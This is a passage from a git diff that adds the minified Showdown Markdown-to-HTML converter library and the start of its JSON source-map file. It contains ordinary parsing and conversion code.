g\u003d(g\u003d(g\u003d(g\u003dd.converter._dispatch(\u0022makehtml.tables.before\u0022,g,m,d)).replace(/\u005c\u005c(\u005c|)/g,p.helper.escapeCharactersCallback)).replace(/^ {0,3}\u005c|?.+\u005c|.+\u005cn {0,3}\u005c|?[ \u005ct]*:?[ \u005ct]*(?:[-\u003d]){2,}[ \u005ct]*:?[ \u005ct]*\u005c|[ \u005ct]*:?[ \u005ct]*(?:[-\u003d]){2,}[\u005cs\u005cS]+?(?:\u005cn\u005cn|¨0)/gm,A)).replace(/^ {0,3}\u005c|.+\u005c|[ \u005ct]*\u005cn {0,3}\u005c|[ \u005ct]*:?[ \u005ct]*(?:[-\u003d]){2,}[ \u005ct]*:?[ \u005ct]*\u005c|[ \u005ct]*\u005cn( {0,3}\u005c|.+\u005c|[ \u005ct]*\u005cn)*(?:\u005cn|¨0)/gm,A),g\u003dd.converter._dispatch(\u0022makehtml.tables.after\u0022,g,m,d)}),p.subParser(\u0022makehtml.underline\u0022,function(g,A,e){\u0022use strict\u0022;return A.underline?(g\u003de.converter._dispatch(\u0022makehtml.underline.before\u0022,g,A,e),g\u003d(g\u003dA.literalMidWordUnderscores?g.replace(/\u005cb_?__(\u005cS[\u005cs\u005cS]*)___?\u005cb/g,function(g,A){return\u0022\u003cu\u003e\u0022+A+\u0022\u003c/u\u003e\u0022}):g.replace(/_?__(\u005cS[\u005cs\u005cS]*?)___?/g,function(g,A){return/\u005cS$/.test(A)?\u0022\u003cu\u003e\u0022+A+\u0022\u003c/u\u003e\u0022:g})).replace(/(_)/g,p.helper.escapeCharactersCallback),g\u003de.converter._dispatch(\u0022makehtml.underline.after\u0022,g,A,e)):g}),p.subParser(\u0022makehtml.unescapeSpecialChars\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003de.converter._dispatch(\u0022makehtml.unescapeSpecialChars.before\u0022,g,A,e)).replace(/¨E(\u005cd+)E/g,function(g,A){var e\u003dparseInt(A);return String.fromCharCode(e)}),g\u003de.converter._dispatch(\u0022makehtml.unescapeSpecialChars.after\u0022,g,A,e)}),p.Converter\u003dfunction(e){\u0022use strict\u0022;var r\u003d{},t\u003d[],a\u003d[],n\u003d{},C\u003dc,o\u003d{parsed:{},raw:\u0022\u0022,format:\u0022\u0022};function I(g,A){if(A\u003dA||null,p.helper.isString(g)){if(A\u003dg\u003dp.helper.stdExtName(g),p.extensions[g])return console.warn(\u0022DEPRECATION WARNING: \u0022+g+\u0022 is an old extension that uses a deprecated loading method.Please inform the developer that the extension should be updated!\u0022),void function(g,A){\u0022function\u0022\u003d\u003dtypeof g\u0026\u0026(g\u003dg(new p.Converter));p.helper.isArray(g)||(g\u003d[g]);var e\u003dh(g,A);if(!e.valid)throw Error(e.error);for(var C\u003d0;C\u003cg.length;++C)switch(g[C].type){case\u0022lang\u0022:t.push(g[C]);break;case\u0022output\u0022:a.push(g[C]);break;default:throw Error(\u0022Extension loader error: Type unrecognized!!!\u0022)}}(p.extensions[g],g);if(p.helper.isUndefined(i[g]))throw Error('Extension \u0022'+g+'\u0022 could not be loaded. It was either not found or is not a valid extension.');g\u003di[g]}\u0022function\u0022\u003d\u003dtypeof g\u0026\u0026(g\u003dg()),p.helper.isArray(g)||(g\u003d[g]);var e\u003dh(g,A);if(!e.valid)throw Error(e.error);for(var C\u003d0;C\u003cg.length;++C){switch(g[C].type){case\u0022lang\u0022:t.push(g[C]);break;case\u0022output\u0022:a.push(g[C])}if(g[C].hasOwnProperty(\u0022listeners\u0022))for(var I in g[C].listeners)g[C].listeners.hasOwnProperty(I)\u0026\u0026s(I,g[C].listeners[I])}}function s(g,A){if(!p.helper.isString(g))throw Error(\u0022Invalid argument in converter.listen() method: name must be a string, but \u0022+typeof g+\u0022 given\u0022);if(\u0022function\u0022!\u003dtypeof A)throw Error(\u0022Invalid argument in converter.listen() method: callback must be a function, but \u0022+typeof A+\u0022 given\u0022);n.hasOwnProperty(g)||(n[g]\u003d[]),n[g].push(A)}!function(){for(var g in e\u003de||{},l)l.hasOwnProperty(g)\u0026\u0026(r[g]\u003dl[g]);{if(\u0022object\u0022!\u003dtypeof e)throw Error(\u0022Converter expects the passed parameter to be an object, but \u0022+typeof e+\u0022 was passed instead.\u0022);for(var A in e)e.hasOwnProperty(A)\u0026\u0026(r[A]\u003de[A])}r.extensions\u0026\u0026p.helper.forEach(r.extensions,I)}(),this._dispatch\u003dfunction(g,A,e,C){if(n.hasOwnProperty(g))for(var I\u003d0;I\u003cn[g].length;++I){var r\u003dn[g][I](g,A,this,e,C);r\u0026\u0026void 0!\u003d\u003dr\u0026\u0026(A\u003dr)}return A},this.listen\u003dfunction(g,A){return s(g,A),this},this.makeHtml\u003dfunction(A){if(!A)return A;var g,e,C,I\u003d{gHtmlBlocks:[],gHtmlMdBlocks:[],gHtmlSpans:[],gUrls:{},gTitles:{},gDimensions:{},gListLevel:0,hashLinkCounts:{},langExtensions:t,outputModifiers:a,converter:this,ghCodeBlocks:[],metadata:{parsed:{},raw:\u0022\u0022,format:\u0022\u0022}};return A\u003d(A\u003d(A\u003d(A\u003d(A\u003dA.replace(/¨/g,\u0022¨T\u0022)).replace(/\u005c$/g,\u0022¨D\u0022)).replace(/\u005cr\u005cn/g,\u0022\u005cn\u0022)).replace(/\u005cr/g,\u0022\u005cn\u0022)).replace(/\u005cu00A0/g,\u0022\u0026nbsp;\u0022),r.smartIndentationFix\u0026\u0026(e\u003d(g\u003dA).match(/^\u005cs*/)[0].length,C\u003dnew RegExp(\u0022^\u005c\u005cs{0,\u0022+e+\u0022}\u0022,\u0022gm\u0022),A\u003dg.replace(C,\u0022\u0022)),A\u003d\u0022\u005cn\u005cn\u0022+A+\u0022\u005cn\u005cn\u0022,A\u003d(A\u003dp.subParser(\u0022makehtml.detab\u0022)(A,r,I)).replace(/^[ \u005ct]+$/gm,\u0022\u0022),p.helper.forEach(t,function(g){A\u003dp.subParser(\u0022makehtml.runExtension\u0022)(g,A,r,I)}),A\u003dp.subParser(\u0022makehtml.metadata\u0022)(A,r,I),A\u003dp.subParser(\u0022makehtml.hashPreCodeTags\u0022)(A,r,I),A\u003dp.subParser(\u0022makehtml.githubCodeBlocks\u0022)(A,r,I),A\u003dp.subParser(\u0022makehtml.hashHTMLBlocks\u0022)(A,r,I),A\u003dp.subParser(\u0022makehtml.hashCodeTags\u0022)(A,r,I),A\u003dp.subParser(\u0022makehtml.stripLinkDefinitions\u0022)(A,r,I),A\u003dp.subParser(\u0022makehtml.blockGamut\u0022)(A,r,I),A\u003dp.subParser(\u0022makehtml.unhashHTMLSpans\u0022)(A,r,I),A\u003d(A\u003d(A\u003dp.subParser(\u0022makehtml.unescapeSpecialChars\u0022)(A,r,I)).replace(/¨D/g,\u0022$$\u0022)).replace(/¨T/g,\u0022¨\u0022),A\u003dp.subParser(\u0022makehtml.completeHTMLDocument\u0022)(A,r,I),p.helper.forEach(a,function(g){A\u003dp.subParser(\u0022makehtml.runExtension\u0022)(g,A,r,I)}),o\u003dI.metadata,A},this.makeMarkdown\u003dfunction(g){g\u003d(g\u003d(g\u003dg.replace(/\u005cr\u005cn/g,\u0022\u005cn\u0022)).replace(/\u005cr/g,\u0022\u005cn\u0022)).replace(/\u003e[ \u005ct]+\u003c/,\u0022\u003e¨NBSP;\u003c\u0022);var A\u003dp.helper.document.createElement(\u0022div\u0022);A.innerHTML\u003dg;var n\u003dfunction(g){for(var A\u003dg.querySelectorAll(\u0022pre\u0022),e\u003d[],C\u003d0;C\u003cA.length;++C)if(1\u003d\u003d\u003dA[C].childElementCount\u0026\u0026\u0022code\u0022\u003d\u003d\u003dA[C].firstChild.tagName.toLowerCase()){var I\u003dA[C].firstChild.innerHTML.trim(),r\u003dA[C].firstChild.getAttribute(\u0022data-language\u0022)||\u0022\u0022;if(\u0022\u0022\u003d\u003d\u003dr)for(var t\u003dA[C].firstChild.className.split(\u0022 \u0022),a\u003d0;a\u003ct.length;++a){var n\u003dt[a].match(/^language-(.+)$/);if(null!\u003d\u003dn){r\u003dn[1];break}}I\u003dp.helper.unescapeHTMLEntities(I),e.push(I),A[C].outerHTML\u003d'\u003cprecode language\u003d\u0022'+r+'\u0022 precodenum\u003d\u0022'+C.toString()+'\u0022\u003e\u003c/precode\u003e'}else e.push(A[C].innerHTML),A[C].innerHTML\u003d\u0022\u0022,A[C].setAttribute(\u0022prenum\u0022,C.toString());return e}(A);!function g(A){for(var e\u003d0;e\u003cA.childNodes.length;++e){var C\u003dA.childNodes[e];3\u003d\u003d\u003dC.nodeType?/\u005cS/.test(C.nodeValue)?(C.nodeValue\u003dC.nodeValue.split(\u0022\u005cn\u0022).join(\u0022 \u0022),C.nodeValue\u003dC.nodeValue.replace(/(\u005cs)+/g,\u0022$1\u0022)):(A.removeChild(C),--e):1\u003d\u003d\u003dC.nodeType\u0026\u0026g(C)}}(A);for(var e\u003dA.childNodes,C\u003d\u0022\u0022,I\u003d0;I\u003ce.length;I++)C+\u003do(e[I]);function o(g,A){A\u003dA||!1;var e,C,I,r,t,a\u003d\u0022\u0022;if(3\u003d\u003d\u003dg.nodeType)return e\u003d(e\u003d(e\u003dg.nodeValue).replace(/ +/g,\u0022 \u0022)).replace(/¨NBSP;/g,\u0022 \u0022),e\u003d(e\u003d(e\u003d(e\u003d(e\u003d(e\u003d(e\u003d(e\u003d(e\u003dp.helper.unescapeHTMLEntities(e)).replace(/([*_~|`])/g,\u0022\u005c\u005c$1\u0022)).replace(/^(\u005cs*)\u003e/g,\u0022\u005c\u005c$1\u003e\u0022)).replace(/^#/gm,\u0022\u005c\u005c#\u0022)).replace(/^(\u005cs*)([-\u003d]{3,})(\u005cs*)$/,\u0022$1\u005c\u005c$2$3\u0022)).replace(/^( {0,3}\u005cd+)\u005c./gm,\u0022$1\u005c\u005c.\u0022)).replace(/^( {0,3})([+-])/gm,\u0022$1\u005c\u005c$2\u0022)).replace(/]([\u005cs]*)\u005c(/g,\u0022\u005c\u005c]$1\u005c\u005c(\u0022)).replace(/^ {0,3}\u005c[([\u005cS \u005ct]*?)]:/gm,\u0022\u005c\u005c[$1]:\u0022);if(8\u003d\u003d\u003dg.nodeType)return\u0022\u005cx3c!--\u0022+g.data+\u0022--\u005cx3e\u005cn\u005cn\u0022;if(1!\u003d\u003dg.nodeType)return\u0022\u0022;switch(g.tagName.toLowerCase()){case\u0022h1\u0022:A||(a\u003di(g,1)+\u0022\u005cn\u005cn\u0022);break;case\u0022h2\u0022:A||(a\u003di(g,2)+\u0022\u005cn\u005cn\u0022);break;case\u0022h3\u0022:A||(a\u003di(g,3)+\u0022\u005cn\u005cn\u0022);break;case\u0022h4\u0022:A||(a\u003di(g,4)+\u0022\u005cn\u005cn\u0022);break;case\u0022h5\u0022:A||(a\u003di(g,5)+\u0022\u005cn\u005cn\u0022);break;case\u0022h6\u0022:A||(a\u003di(g,6)+\u0022\u005cn\u005cn\u0022);break;case\u0022p\u0022:A||(a\u003dfunction(g){var A\u003d\u0022\u0022;if(g.hasChildNodes())for(var e\u003dg.childNodes,C\u003de.length,I\u003d0;I\u003cC;++I)A+\u003do(e[I]);return A\u003dA.trim()}(g)+\u0022\u005cn\u005cn\u0022);break;case\u0022blockquote\u0022:A||(a\u003dfunction(g){var A\u003d\u0022\u0022;if(g.hasChildNodes())for(var e\u003dg.childNodes,C\u003de.length,I\u003d0;I\u003cC;++I){var r\u003do(e[I]);\u0022\u0022!\u003d\u003dr\u0026\u0026(A+\u003dr)}return A\u003d\u0022\u003e \u0022+(A\u003dA.trim()).split(\u0022\u005cn\u0022).join(\u0022\u005cn\u003e \u0022)}(g)+\u0022\u005cn\u005cn\u0022);break;case\u0022hr\u0022:A||(a\u003d\u0022---\u005cn\u005cn\u0022);break;case\u0022ol\u0022:A||(a\u003ds(g,\u0022ol\u0022)+\u0022\u005cn\u005cn\u0022);break;case\u0022ul\u0022:A||(a\u003ds(g,\u0022ul\u0022)+\u0022\u005cn\u005cn\u0022);break;case\u0022precode\u0022:A||(r\u003d(I\u003dg).getAttribute(\u0022language\u0022),t\u003dI.getAttribute(\u0022precodenum\u0022),a\u003d\u0022```\u0022+r+\u0022\u005cn\u0022+n[t]+\u0022\u005cn```\u005cn\u005cn\u0022);break;case\u0022pre\u0022:A||(C\u003dg.getAttribute(\u0022prenum\u0022),a\u003d\u0022\u003cpre\u003e\u0022+n[C]+\u0022\u003c/pre\u003e\u005cn\u005cn\u0022);break;case\u0022table\u0022:A||(a\u003dfunction(g){var A,e,C\u003d\u0022\u0022,I\u003d[[],[]],r\u003dg.querySelectorAll(\u0022thead\u003etr\u003eth\u0022),t\u003dg.querySelectorAll(\u0022tbody\u003etr\u0022);for(A\u003d0;A\u003cr.length;++A){var a\u003dh(r[A]),n\u003d\u0022---\u0022;if(r[A].hasAttribute(\u0022style\u0022)){var o\u003dr[A].getAttribute(\u0022style\u0022).toLowerCase().replace(/\u005cs/g,\u0022\u0022);switch(o){case\u0022text-align:left;\u0022:n\u003d\u0022:---\u0022;break;case\u0022text-align:right;\u0022:n\u003d\u0022---:\u0022;break;case\u0022text-align:center;\u0022:n\u003d\u0022:---:\u0022}}I[0][A]\u003da.trim(),I[1][A]\u003dn}for(A\u003d0;A\u003ct.length;++A){var s\u003dI.push([])-1,i\u003dt[A].getElementsByTagName(\u0022td\u0022);for(e\u003d0;e\u003cr.length;++e){var l\u003d\u0022 \u0022;void 0!\u003d\u003di[e]\u0026\u0026(l\u003dh(i[e])),I[s].push(l)}}var c\u003d3;for(A\u003d0;A\u003cI.length;++A)for(e\u003d0;e\u003cI[A].length;++e){var u\u003dI[A][e].length;c\u003cu\u0026\u0026(c\u003du)}for(A\u003d0;A\u003cI.length;++A){for(e\u003d0;e\u003cI[A].length;++e)1\u003d\u003d\u003dA?\u0022:\u0022\u003d\u003d\u003dI[A][e].slice(-1)?I[A][e]\u003dp.helper.padEnd(I[A][e].slice(-1),c-1,\u0022-\u0022)+\u0022:\u0022:I[A][e]\u003dp.helper.padEnd(I[A][e],c,\u0022-\u0022):I[A][e]\u003dp.helper.padEnd(I[A][e],c);C+\u003d\u0022| \u0022+I[A].join(\u0022 | \u0022)+\u0022 |\u005cn\u0022}return C.trim()}(g)+\u0022\u005cn\u005cn\u0022);break;case\u0022code\u0022:a\u003d\u0022`\u0022+g.innerHTML+\u0022`\u0022;break;case\u0022em\u0022:case\u0022i\u0022:a\u003dfunction(g){var A\u003d\u0022\u0022;if(g.hasChildNodes()){A+\u003d\u0022*\u0022;for(var e\u003dg.childNodes,C\u003de.length,I\u003d0;I\u003cC;++I)A+\u003do(e[I]);A+\u003d\u0022*\u0022}return A}(g);break;case\u0022strong\u0022:case\u0022b\u0022:a\u003dfunction(g){var A\u003d\u0022\u0022;if(g.hasChildNodes()){A+\u003d\u0022**\u0022;for(var e\u003dg.childNodes,C\u003de.length,I\u003d0;I\u003cC;++I)A+\u003do(e[I]);A+\u003d\u0022**\u0022}return A}(g);break;case\u0022del\u0022:a\u003dfunction(g){var A\u003d\u0022\u0022;if(g.hasChildNodes()){A+\u003d\u0022~~\u0022;for(var e\u003dg.childNodes,C\u003de.length,I\u003d0;I\u003cC;++I)A+\u003do(e[I]);A+\u003d\u0022~~\u0022}return A}(g);break;case\u0022a\u0022:a\u003dfunction(g){var A\u003d\u0022\u0022;if(g.hasChildNodes()\u0026\u0026g.hasAttribute(\u0022href\u0022)){var e\u003dg.childNodes,C\u003de.length;A\u003d\u0022[\u0022;for(var I\u003d0;I\u003cC;++I)A+\u003do(e[I]);A+\u003d\u0022](\u0022,A+\u003d\u0022\u003c\u0022+g.getAttribute(\u0022href\u0022)+\u0022\u003e\u0022,g.hasAttribute(\u0022title\u0022)\u0026\u0026(A+\u003d' \u0022'+g.getAttribute(\u0022title\u0022)+'\u0022'),A+\u003d\u0022)\u0022}return A}(g);break;case\u0022img\u0022:a\u003dfunction(g){var A\u003d\u0022\u0022;g.hasAttribute(\u0022src\u0022)\u0026\u0026(A+\u003d\u0022+\u0022\u003e\u0022,g.hasAttribute(\u0022width\u0022)\u0026\u0026g.hasAttribute(\u0022height\u0022)\u0026\u0026(A+\u003d\u0022 \u003d\u0022+g.getAttribute(\u0022width\u0022)+\u0022x\u0022+g.getAttribute(\u0022height\u0022)),g.hasAttribute(\u0022title\u0022)\u0026\u0026(A+\u003d' \u0022'+g.getAttribute(\u0022title\u0022)+'\u0022'),A+\u003d\u0022)\u0022);return A}(g);break;default:a\u003dg.outerHTML+\u0022\u005cn\u005cn\u0022}return a}function s(g,A){var e\u003d\u0022\u0022;if(!g.hasChildNodes())return\u0022\u0022;for(var C\u003dg.childNodes,I\u003dC.length,r\u003dg.getAttribute(\u0022start\u0022)||1,t\u003d0;t\u003cI;++t)if(void 0!\u003d\u003dC[t].tagName\u0026\u0026\u0022li\u0022\u003d\u003d\u003dC[t].tagName.toLowerCase()){e+\u003d(\u0022ol\u0022\u003d\u003d\u003dA?r.toString()+\u0022. \u0022:\u0022- \u0022)+a(C[t]),++r}return e.trim()}function a(g){for(var A\u003d\u0022\u0022,e\u003dg.childNodes,C\u003de.length,I\u003d0;I\u003cC;++I)A+\u003do(e[I]);return/\u005cn$/.test(A)?A\u003dA.split(\u0022\u005cn\u0022).join(\u0022\u005cn \u0022).replace(/^ {4}$/gm,\u0022\u0022).replace(/\u005cn\u005cn+/g,\u0022\u005cn\u005cn\u0022):A+\u003d\u0022\u005cn\u0022,A}function i(g,A){var e\u003dnew Array(A+1).join(\u0022#\u0022),C\u003d\u0022\u0022;if(g.hasChildNodes()){C\u003de+\u0022 \u0022;for(var I\u003dg.childNodes,r\u003dI.length,t\u003d0;t\u003cr;++t)C+\u003do(I[t])}return C}function h(g){var A\u003d\u0022\u0022;if(!g.hasChildNodes())return\u0022\u0022;for(var e\u003dg.childNodes,C\u003de.length,I\u003d0;I\u003cC;++I)A+\u003do(e[I],!0);return A.trim()}return C},this.setOption\u003dfunction(g,A){r[g]\u003dA},this.getOption\u003dfunction(g){return r[g]},this.getOptions\u003dfunction(){return r},this.addExtension\u003dfunction(g,A){I(g,A\u003dA||null)},this.useExtension\u003dfunction(g){I(g)},this.setFlavor\u003dfunction(g){if(!u.hasOwnProperty(g))throw Error(g+\u0022 flavor was not found\u0022);var A\u003du[g];for(var e in C\u003dg,A)A.hasOwnProperty(e)\u0026\u0026(r[e]\u003dA[e])},this.getFlavor\u003dfunction(){return C},this.removeExtension\u003dfunction(g){p.helper.isArray(g)||(g\u003d[g]);for(var A\u003d0;A\u003cg.length;++A){for(var e\u003dg[A],C\u003d0;C\u003ct.length;++C)t[C]\u003d\u003d\u003de\u0026\u0026t[C].splice(C,1);for(;0\u003ca.length;++C)a[0]\u003d\u003d\u003de\u0026\u0026a[0].splice(C,1)}},this.getAllExtensions\u003dfunction(){return{language:t,output:a}},this.getMetadata\u003dfunction(g){return g?o.raw:o.parsed},this.getMetadataFormat\u003dfunction(){return o.format},this._setMetadataPair\u003dfunction(g,A){o.parsed[g]\u003dA},this._setMetadataFormat\u003dfunction(g){o.format\u003dg},this._setMetadataRaw\u003dfunction(g){o.raw\u003dg}};\u0022function\u0022\u003d\u003dtypeof define\u0026\u0026define.amd?define(function(){\u0022use strict\u0022;return p}):\u0022undefined\u0022!\u003dtypeof module\u0026\u0026module.exports?module.exports\u003dp:this.showdown\u003dp}).call(this);\n+//# sourceMappingURL\u003dshowdown.min.js.map\ndiff --git a/assets/showdown.min.js.map b/assets/showdown.min.js.map\nnew file mode 100644\nindex 0000000..7f3d56c\n--- /dev/null\n+++ b/assets/showdown.min.js.map\n@@ -0,0 +1 @@\n+{\u0022version\u0022:3,\u0022sources\u0022:[\u0022showdown.js\u0022],\u0022names\u0022:[\u0022getDefaultOpts\u0022,\u0022simple\u0022,\u0022defaultOptions\u0022,\u0022omitExtraWLInCodeBlocks\u0022,\u0022defaultValue\u0022,\u0022describe\u0022,\u0022type\u0022,\u0022noHeaderId\u0022,\u0022prefixHeaderId\u0022,\u0022rawPrefixHeaderId\u0022,\u0022ghCompatibleHeaderId\u0022,\u0022rawHeaderId\u0022,\u0022headerLevelStart\u0022,\u0022parseImgDimensions\u0022,\u0022simplifiedAutoLink\u0022,\u0022excludeTrailingPunctuationFromURLs\u0022,\u0022literalMidWordUnderscores\u0022,\u0022literalMidWordAsterisks\u0022,\u0022strikethrough\u0022,\u0022tables\u0022,\u0022tablesHeaderId\u0022,\u0022ghCodeBlocks\u0022,\u0022tasklists\u0022,\u0022smoothLivePreview\u0022,\u0022smartIndentationFix\u0022,\u0022description\u0022,\u0022disableForced4SpacesIndentedSublists\u0022,\u0022simpleLineBreaks\u0022,\u0022requireSpaceBeforeHeadingText\u0022,\u0022ghMentions\u0022,\u0022ghMentionsLink\u0022,\u0022encodeEmails\u0022,\u0022openLinksInNewWindow\u0022,\u0022backslashEscapesHTMLTags\u0022,\u0022emoji\u0022,\u0022underline\u0022,\u0022completeHTMLDocument\u0022,\u0022metadata\u0022,\u0022splitAdjacentBlockquotes\u0022,\u0022JSON\u0022,\u0022parse\u0022,\u0022stringify\u0022,\u0022ret\u0022,\u0022opt\u0022,\u0022hasOwnProperty\u0022,\u0022showdown\u0022,\u0022parsers\u0022,\u0022extensions\u0022,\u0022globalOptions\u0022,\u0022setFlavor\u0022,\u0022flavor\u0022,\u0022github\u0022,\u0022original\u0022,\u0022ghost\u0022,\u0022vanilla\u0022,\u0022allOn\u0022,\u0022options\u0022,\u0022allOptionsOn\u0022,\u0022validate\u0022,\u0022extension\u0022,\u0022name\u0022,\u0022errMsg\u0022,\u0022valid\u0022,\u0022error\u0022,\u0022helper\u0022,\u0022isArray\u0022,\u0022i\u0022,\u0022length\u0022,\u0022baseMsg\u0022,\u0022ext\u0022,\u0022isString\u0022,\u0022toLowerCase\u0022,\u0022isUndefined\u0022,\u0022listeners\u0022,\u0022filter\u0022,\u0022regex\u0022,\u0022ln\u0022,\u0022RegExp\u0022,\u0022replace\u0022,\u0022escapeCharactersCallback\u0022,\u0022wholeMatch\u0022,\u0022m1\u0022,\u0022charCodeAt\u0022,\u0022setOption\u0022,\u0022key\u0022,\u0022value\u0022,\u0022this\u0022,\u0022getOption\u0022,\u0022getOptions\u0022,\u0022resetOptions\u0022,\u0022Error\u0022,\u0022preset\u0022,\u0022option\u0022,\u0022getFlavor\u0022,\u0022getFlavorOptions\u0022,\u0022getDefaultOptions\u0022,\u0022subParser\u0022,\u0022func\u0022,\u0022stdExtName\u0022,\u0022validExtension\u0022,\u0022getAllExtensions\u0022,\u0022removeExtension\u0022,\u0022resetExtensions\u0022,\u0022validateExtension\u0022,\u0022console\u0022,\u0022warn\u0022,\u0022document\u0022,\u0022window\u0022,\u0022require\u0022,\u0022jsdom\u0022,\u0022defaultView\u0022,\u0022a\u0022,\u0022String\u0022,\u0022isFunction\u0022,\u0022toString\u0022,\u0022call\u0022,\u0022Array\u0022,\u0022forEach\u0022,\u0022obj\u0022,\u0022callback\u0022,\u0022prop\u0022,\u0022s\u0022,\u0022escapeCharacters\u0022,\u0022text\u0022,\u0022charsToEscape\u0022,\u0022afterBackslash\u0022,\u0022regexString\u0022,\u0022rgxFindMatchPos\u0022,\u0022str\u0022,\u0022left\u0022,\u0022right\u0022,\u0022flags\u0022,\u0022t\u0022,\u0022m\u0022,\u0022start\u0022,\u0022end\u0022,\u0022f\u0022,\u0022g\u0022,\u0022indexOf\u0022,\u0022x\u0022,\u0022l\u0022,\u0022pos\u0022,\u0022exec\u0022,\u0022test\u0022,\u0022lastIndex\u0022,\u0022index\u0022,\u0022match\u0022,\u0022push\u0022,\u0022matchRecursiveRegExp\u0022,\u0022matchPos\u0022,\u0022results\u0022,\u0022slice\u0022,\u0022replaceRecursiveRegExp\u0022,\u0022replacement\u0022,\u0022repStr\u0022,\u0022finalStr\u0022,\u0022lng\u0022,\u0022bits\u0022,\u0022join\u0022,\u0022regexIndexOf\u0022,\u0022fromIndex\u0022,\u0022substring\u0022,\u0022search\u0022,\u0022splitAtIndex\u0022,\u0022encodeEmailAddress\u0022,\u0022mail\u0022,\u0022encode\u0022,\u0022ch\u0022,\u0022Math\u0022,\u0022floor\u0022,\u0022random\u0022,\u0022r\u0022,\u0022padEnd\u0022,\u0022targetLength\u0022,\u0022padString\u0022,\u0022repeat\u0022,\u0022unescapeHTMLEntities\u0022,\u0022txt\u0022,\u0022msg\u0022,\u0022alert\u0022,\u0022log\u0022,\u0022regexes\u0022,\u0022asteriskDashAndColon\u0022,\u0022emojis\u0022,\u0022+1\u0022,\u0022-1\u0022,\u0022100\u0022,\u00221234\u0022,\u00221st_place_medal\u0022,\u00222nd_place_medal\u0022,\u00223rd_place_medal\u0022,\u00228ball\u0022,\u0022ab\u0022,\u0022abc\u0022,\u0022abcd\u0022,\u0022accept\u0022,\u0022aerial_tramway\u0022,\u0022airplane\u0022,\u0022alarm_clock\u0022,\u0022alembic\u0022,\u0022alien\u0022,\u0022ambulance\u0022,\u0022amphora\u0022,\u0022anchor\u0022,\u0022angel\u0022,\u0022anger\u0022,\u0022angry\u0022,\u0022anguished\u0022,\u0022ant\u0022,\u0022apple\u0022,\u0022aquarius\u0022,\u0022aries\u0022,\u0022arrow_backward\u0022,\u0022arrow_double_down\u0022,\u0022arrow_double_up\u0022,\u0022arrow_down\u0022,\u0022arrow_down_small\u0022,\u0022arrow_forward\u0022,\u0022arrow_heading_down\u0022,\u0022arrow_heading_up\u0022,\u0022arrow_left\u0022,\u0022arrow_lower_left\u0022,\u0022arrow_lower_right\u0022,\u0022arrow_right\u0022,\u0022arrow_right_hook\u0022,\u0022arrow_up\u0022,\u0022arrow_up_down\u0022,\u0022arrow_up_small\u0022,\u0022arrow_upper_left\u0022,\u0022arrow_upper_right\u0022,\u0022arrows_clockwise\u0022,\u0022arrows_counterclockwise\u0022,\u0022art\u0022,\u0022articulated_lorry\u0022,\u0022artificial_satellite\u0022,\u0022astonished\u0022,\u0022athletic_shoe\u0022,\u0022atm\u0022,\u0022atom_symbol\u0022,\u0022avocado\u0022,\u0022b\u0022,\u0022baby\u0022,\u0022baby_bottle\u0022,\u0022baby_chick\u0022,\u0022baby_symbol\u0022,\u0022back\u0022,\u0022bacon\u0022,\u0022badminton\u0022,\u0022baggage_claim\u0022,\u0022baguette_bread\u0022,\u0022balance_scale\u0022,\u0022balloon\u0022,\u0022ballot_box\u0022,\u0022ballot_box_with_check\u0022,\u0022bamboo\u0022,\u0022banana\u0022,\u0022bangbang\u0022,\u0022bank\u0022,\u0022bar_chart\u0022,\u0022barber\u0022,\u0022baseball\u0022,\u0022basketball\u0022,\u0022basketball_man\u0022,\u0022basketball_woman\u0022,\u0022bat\u0022,\u0022bath\u0022,\u0022bathtub\u0022,\u0022battery\u0022,\u0022beach_umbrella\u0022,\u0022bear\u0022,\u0022bed\u0022,\u0022bee\u0022,\u0022beer\u0022,\u0022beers\u0022,\u0022beetle\u0022,\u0022beginner\u0022,\u0022bell\u0022,\u0022bellhop_bell\u0022,\u0022bento\u0022,\u0022biking_man\u0022,\u0022bike\u0022,\u0022biking_woman\u0022,\u0022bikini\u0022,\u0022biohazard\u0022,\u0022bird\u0022,\u0022birthday\u0022,\u0022black_circle\u0022,\u0022black_flag\u0022,\u0022black_heart\u0022,\u0022black_joker\u0022,\u0022black_large_square\u0022,\u0022black_medium_small_square\u0022,\u0022black_medium_square\u0022,\u0022black_nib\u0022,\u0022black_small_square\u0022,\u0022black_square_button\u0022,\u0022blonde_man\u0022,\u0022blonde_woman\u0022,\u0022blossom\u0022,\u0022blowfish\u0022,\u0022blue_book\u0022,\u0022blue_car\u0022,\u0022blue_heart\u0022,\u0022blush\u0022,\u0022boar\u0022,\u0022boat\u0022,\u0022bomb\u0022,\u0022book\u0022,\u0022bookmark\u0022,\u0022bookmark_tabs\u0022,\u0022books\u0022,\u0022boom\u0022,\u0022boot\u0022,\u0022bouquet\u0022,\u0022bowing_man\u0022,\u0022bow_and_arrow\u0022,\u0022bowing_woman\u0022,\u0022bowling\u0022,\u0022boxing_glove\u0022,\u0022boy\u0022,\u0022bread\u0022,\u0022bride_with_veil\u0022,\u0022bridge_at_night\u0022,\u0022briefcase\u0022,\u0022broken_heart\u0022,\u0022bug\u0022,\u0022building_construction\u0022,\u0022bulb\u0022,\u0022bullettrain_front\u0022,\u0022bullettrain_side\u0022,\u0022burrito\u0022,\u0022bus\u0022,\u0022business_suit_levitating\u0022,\u0022busstop\u0022,\u0022bust_in_silhouette\u0022,\u0022busts_in_silhouette\u0022,\u0022butterfly\u0022,\u0022cactus\u0022,\u0022cake\u0022,\u0022calendar\u0022,\u0022call_me_hand\u0022,\u0022calling\u0022,\u0022camel\u0022,\u0022camera\u0022,\u0022camera_flash\u0022,\u0022camping\u0022,\u0022cancer\u0022,\u0022candle\u0022,\u0022candy\u0022,\u0022canoe\u0022,\u0022capital_abcd\u0022,\u0022capricorn\u0022,\u0022car\u0022,\u0022card_file_box\u0022,\u0022card_index\u0022,\u0022card_index_dividers\u0022,\u0022carousel_horse\u0022,\u0022carrot\u0022,\u0022cat\u0022,\u0022cat2\u0022,\u0022cd\u0022,\u0022chains\u0022,\u0022champagne\u0022,\u0022chart\u0022,\u0022chart_with_downwards_trend\u0022,\u0022chart_with_upwards_trend\u0022,\u0022checkered_flag\u0022,\u0022cheese\u0022,\u0022cherries\u0022,\u0022cherry_blossom\u0022,\u0022chestnut\u0022,\u0022chicken\u0022,\u0022children_crossing\u0022,\u0022chipmunk\u0022,\u0022chocolate_bar\u0022,\u0022christmas_tree\u0022,\u0022church\u0022,\u0022cinema\u0022,\u0022circus_tent\u0022,\u0022city_sunrise\u0022,\u0022city_sunset\u0022,\u0022cityscape\u0022,\u0022cl\u0022,\u0022clamp\u0022,\u0022clap\u